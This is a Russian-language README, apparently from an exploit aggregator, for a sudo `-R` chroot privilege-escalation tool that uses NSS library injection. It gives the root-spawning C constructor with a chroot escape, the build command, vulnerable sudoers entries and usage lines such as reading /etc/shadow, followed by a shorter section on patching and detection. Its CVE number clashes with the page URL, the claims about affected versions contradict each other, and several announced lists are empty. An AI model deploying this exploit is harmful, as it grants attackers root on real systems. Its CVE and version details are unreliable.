## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SECVULNHUB-CVE-2025-32463-EXPLOIT
# Xpl0it — Внедрение библиотеки NSS через Sudo | v0.0.4
**Автор:** 0xb0rn3 | 0xbv1
**Тип:** Proof of Concept (PoC) Инструмент для исследований безопасности
**CVE:** CVE-2023-42456
**Техника:** Внедрение библиотеки NSS через chroot в sudo `-R` → повышение привилегий до root
* * *
## ⚠️ Отказ от ответственности
Этот инструмент разработан только для **авторизованного тестирования на проникновение и образовательных исследований безопасности**. Запускайте его исключительно на системах, которыми вы владеете или на которые имеете явное письменное разрешение для тестирования. Автор(ы) не несут ответственности за любое неправомерное использование. Несанкционированное использование незаконно.
* * *
## 🎯 Что делает этот инструмент
**Xpl0it** — это proof-of-concept, который использует ошибку в модели доверия обработки динамической загрузки библиотек NSS (Name Service Switch) в sudo при использовании флага `-R` (chroot). На уязвимых версиях sudo атакующий, контролирующий каталог chroot, может отравить `nsswitch.conf` внутри него, заставляя sudo загрузить вредоносную общую библиотеку **в то время как он всё ещё обладает повышенными привилегиями** — до любого снижения учётных данных.
При успешном запуске инструмент перенаправляет вас в оболочку root или выполняет любую указанную вами команду с `uid=0 gid=0`.
* * *
## 🔍 CVE-2023-42456 — Подверженные версии
Этот инструмент нацелен исключительно на **CVE-2023-42456**. Уязвимость присутствует в двух ветках выпуска, каждая из которых имеет отдельный исправляющий коммит:
> **Важно:** sudo 1.9.17 и новее **не уязвимы**. В более ранних инструментах и публикациях ошибочно указывался диапазон "1.9.14–1.9.17". Этот инструмент выполняет определение версии по веткам, чтобы избежать ложных срабатываний.
### Не входит в область действия
Следующие CVE **не эксплуатируемы** с помощью этой техники и намеренно исключены для предотвращения ложных срабатываний:
CVE| Техника| Почему исключена
---|---|---
CVE-2021-3156 (Baron Samedit)| Переполнение кучи| Совершенно другой вектор атаки
CVE-2021-23239| Состояние гонки в sudoedit| Другая техника
CVE-2021-23240
* * *
## 🔑 Критическое предусловие — ChrootDir в Sudoers
`sudo -R` требует явной директивы `ChrootDir=` в записи sudoers для целевого пользователя. **Один только`NOPASSWD` не даёт разрешения на `-R`.**
Без `ChrootDir` sudo полностью отклоняет флаг `-R`:
root@kitploit:~
sudo: you are not permitted to use the -R option with bridge
Запись sudoers, допускающая эту эксплуатацию, должна выглядеть так:
root@kitploit:~
# Неограниченный путь chroot (идеальное условие атаки)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL
# Путь chroot с ограничением (инструмент автоматически адаптирует staging-каталог)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash
# Конкретный путь (инструмент создаёт staging внутри разрешённого пути)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL
Xpl0it анализирует вывод `sudo -l` на наличие `ChrootDir` перед любой подготовкой и досрочно завершает работу с понятным объяснением, если разрешение отсутствует.
* * *
## 🔬 Глубокое техническое погружение
### Цепочка эксплуатации
root@kitploit:~
sudo -R bridge bridge
│
├─ sudo вызывает chroot("./bridge") ← атакующий контролирует этот каталог
│
├─ sudo должен определить информацию о вызывающем пользователе
│ └─ загружает /etc/nsswitch.conf из chroot
│ └─ "passwd: files bridge90"
│ └─ динамический компоновщик загружает libnss_bridge90.so.2
│ └─ __attribute__((constructor)) срабатывает
│ └─ setreuid(0,0) + setregid(0,0)
│ └─ выход из chroot → выполнение payload
│
└─ получена оболочка root
### Пошагово
**Шаг 1 — Разведка**
Собирает информацию об ОС, версии ядра, архитектуре, текущем контексте пользователя и всех допустимых путях поиска библиотек. Обнаруживает включение AppArmor/SELinux и статус `NoNewPrivs` — всё это может молча заблокировать эксплуатацию, если активно.
**Шаг 2 — Определение версии**
Разбирает `sudo --version` и проверяет диапазон двух веток, подверженных CVE-2023-42456, с точностью до уровня исправления. Завершает работу с объяснением, если версия исправлена или вне диапазона.
**Шаг 3 — Проверка разрешения ChrootDir**
Анализирует `sudo -l` на наличие директив `ChrootDir=`. Если отсутствует, немедленно завершает работу. Если ограничено конкретным путём, автоматически нацеливается на этот путь для staging, чтобы sudo принял вызов `-R`.
**Шаг 4 — Предэксплуатационный зонд**
Строит одноразовый минимальный chroot и запускает безвредный вызов `sudo -R` перед любой реальной подготовкой. Подтверждает, что sudo дойдёт до разрешения NSS, и отлавливает отклонения "not permitted" на ранней стадии.
**Шаг 5 — Генерация payload**
Пишет `bridge90.c` — общую библиотеку на C с функцией `__attribute__((constructor))` (`_nss_bridge90_init`), которая срабатывает в момент загрузки динамическим компоновщиком:
root@kitploit:~
__attribute__((constructor))
static void _nss_bridge90_init(void) {
setreuid(0, 0); setregid(0, 0);
setuid(0); setgid(0);
// выход из chroot: mkdir подкаталога → chroot глубже →
// 40x "../" переход → перезакрепление chroot на реальный /
mkdir("._esc", 0700);
if (chroot("._esc") == 0) {
// ... 40x "../" chdir ...
chroot(".");
}
chdir("/");
execl("/bin/bash", "bash", "-c", CMD, NULL);
execl("/bin/sh", "sh", "-c", CMD, NULL);
_exit(1);
}
**Шаг 6 — Настройка окружения**
Строит убедительный chroot внутри staging-каталога:
* `bridge/etc/nsswitch.conf` — отравлен для загрузки NSS-сервиса `bridge90`
* `bridge/<lib_path>/libnss_bridge90.so.2` — payload, развёрнутый во **все** обнаруженные пути библиотек (покрытие multilib)
* `bridge/bin/bridge` — фиктивный исполняемый файл, который sudo должен найти для продолжения после проверок перед выполнением
* `bridge/bin/sh`, `bridge/bin/bash` — оболочки с правильным интерпретатором ELF (определяется через `readelf -l`)
* `bridge/etc/ld.so.conf` — покрывает все пути библиотек, чтобы `ldconfig -r` построил корректный кеш
**Шаг 7 — Компиляция**
root@kitploit:~
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
* `-nostartfiles` — отсутствие стандартного стартового кода; constructor обрабатывает всё
* `-Wl,-soname` — правильное SONAME для разрешения имён NSS
* Нет `-Wl,-init` — `__attribute__((constructor))` достаточно; добавление `-Wl,-init` вызывает двойной вызов и является ошибкой
После компиляции `nm -D` проверяет, что символ constructor присутствует в таблице динамического экспорта.
**Шаг 8 — Выполнение**
Запускает `sudo -R bridge bridge` из staging-каталога. NSS разрешает `bridge90` → загружает нашу библиотеку → срабатывает constructor с повышенными привилегиями → выход из chroot выполняется → root shell.
### Почему существует уязвимость
Реализация `-R` в sudo доверяет содержимому каталога chroot, в который она входит. До исправления sudo не проверял, не было ли окружение chroot подделано. Поскольку пользователь, предоставляющий путь chroot, контролирует его содержимое — включая `nsswitch.conf` и ссылающиеся на него библиотеки NSS — он может перенаправить загрузку библиотек на произвольный код, который выполняется до того, как sudo произведёт снижение привилегий.
* * *
## 🛡️ Обнаружение и смягчение
### Немедленные исправления
**Обновить sudo**
Обновитесь до `1.9.15p2`, `1.9.16p2` или любой версии `1.9.17+`. Эти версии проверяют окружение chroot, прежде чем разрешать разрешение NSS внутри него.
root@kitploit:~
# Проверьте версию
sudo --version
# Debian/Ubuntu
apt-get update && apt-get install sudo
# Arch Linux
pacman -Syu sudo
# RHEL/Fedora
dnf update sudo
**Проверить директивы ChrootDir**
Просмотрите `/etc/sudoers` и все файлы в `/etc/sudoers.d/`. Удалите записи `ChrootDir=`, если они не требуются явно. Ограничьте подстановочные знаки — предпочтительнее `ChrootDir=/specific/path`, чем `ChrootDir=*`.
root@kitploit:~
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
### Обнаружение
**Сигнатуры в журналах аудита**
root@kitploit:~
# auditd — обнаружение вызовов sudo -R (редкие в легитимном использовании)
auditctl -a always,exit -F arch=b64 -S execve \
-F exe=/usr/bin/sudo -k sudo_chroot_attempt
# journald
journalctl | grep -i "sudo.*-R\|chroot"
**Подозрительные индикаторы**
* Вызовы `sudo -R` в журналах — легитимное использование в production крайне редко
* Временные каталоги в `/tmp` с именами, соответствующими `sudobridge.*`
* Файлы `libnss_*.so.2` в `/tmp` или каталогах, доступных для записи пользователю
* Вызовы `gcc` из сессий пользователей, не относящихся к сборке системы
* Системные вызовы `setreuid`/`setregid` от процессов, не принадлежащих root
### Слои защиты
* * *
## 📋 Использование
### Основное использование
root@kitploit:~
# Сделать исполняемым
chmod +x Xpl0it
# Войти в оболочку root (по умолчанию)
./Xpl0it
# Выполнить конкретную команду от имени root
./Xpl0it -c "id && cat /etc/shadow"
# Режим отладки — подробный вывод, staging-каталог сохраняется при выходе
./Xpl0it -d
# Запрашивать подтверждение при несоответствии версии
./Xpl0it -v
# Комбинация флагов
./Xpl0it -v -d -c "/bin/bash"
### Опции
### Предварительные требования
Запись sudoers для целевого пользователя также должна содержать `ChrootDir=` — инструмент проверяет это автоматически и быстро завершается с объяснением, если оно отсутствует.
* * *
## 🔎 Устранение неисправностей
Если эксплуатация не удалась, запустите с `-d`, чтобы сохранить staging-каталог и проверить:
**Частые причины неудач:**
* * *
## 📚 Дополнительное чтение
* Уведомление об уязвимости sudo CVE-2023-42456
* Исходный репозиторий sudo
* Архитектура NSS — `man nsswitch.conf`, `man 5 nss`
* Внутреннее устройство динамического компоновщика — `man ld.so`, `man ldconfig`
* Техники выхода из chroot — справочная страница POSIX `chroot(2)`
* * *
## 🤝 Вклад
Приветствуются вклады, улучшающие точность, переносимость или охват обнаружения. Пожалуйста, следуйте принципам ответственного раскрытия и сценариям использования авторизованного тестирования.
* * *
_Xpl0it предназначен только для авторизованных исследований безопасности. Перед тестированием на системах, которые вам не принадлежат, всегда получайте явное письменное разрешение._